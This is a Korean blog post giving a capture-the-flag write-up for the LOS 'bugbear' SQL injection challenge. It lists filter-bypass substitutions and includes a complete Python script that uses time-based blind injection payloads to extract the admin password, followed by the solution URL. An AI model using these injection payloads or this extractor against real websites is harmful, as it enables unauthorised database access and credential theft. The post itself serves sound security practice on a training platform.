본문 바로가기

Hacking/LOS

[LOS] 13. bugbear

728x90
반응형

 

  • 계속해서 time based 문제가 나온다 슬슬 다른 문제 풀고싶다.
  • 이 문제 역시 no 파라미터 값에 필터링 걸려있는 게 많다.
    • ' -> 여기서 필요없음
    • substr -> mid
    • ascii -> hex (값) (여기서 ord 안됨 -> or 필터링 걸려있어서)
    • =, like -> in ("값")
    • or -> ||
    • and -> %26
    • 공백 -> %0a
    • 0x -> 안써도 됨
  • 코드는 아래와 같음

 

import requests

url ='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=' #url 주소 입력

def find_pw_len():
    pw_len=0
    while 1:
        pw_len=pw_len+1
        value = '1%0a||%0aid%0ain%0a("admin")%0a%26%26%0aif(length(pw)%0ain%0a({}),%0asleep(3),%0a1)%23'.format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        cookies={'PHPSESSID' : '내 세션'}
        response = requests.get(url+value, cookies=cookies)
        # print(response.url)
        if(response.elapsed.total_seconds() > 3):
            print("길이는? =",pw_len)
            break
        print("시도중 입니다!:",pw_len)
    return pw_len

def find_pw():
    pw_len=find_pw_len()
    string=''
    for pw_value in range(1,pw_len+1):
        for ascii in range(48,122):
            value ='1%0a||%0aid%0ain%0a("admin")%0a%26%26%0aif(hex(mid(pw,{},1))%0ain%0a(hex({})),%0asleep(3),%0a1)%23'.format(pw_value,ascii)
            cookies={'PHPSESSID' : '내 세션'}
            response = requests.get(url+value, cookies=cookies)
            # print(response.url)
            if(response.elapsed.total_seconds() > 2):
                string = string + chr(ascii)
                print("{}번 째의 pw의 값은!".format(pw_value),string)
                break
            print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
    print(string)
find_pw()

 

 

정답: https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=52dc3991 

 

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=52dc3991

 

los.rubiya.kr

 

 

 

728x90
반응형

'Hacking > LOS' 카테고리의 다른 글

[LOS] 15. assassin  (0) 2023.07.08
[LOS] 14. giant  (4) 2023.07.07
[LOS] 12. darkknight  (0) 2023.07.06
[LOS] 11. golem  (0) 2023.07.06
[LOS] 10. skeleton  (0) 2023.07.06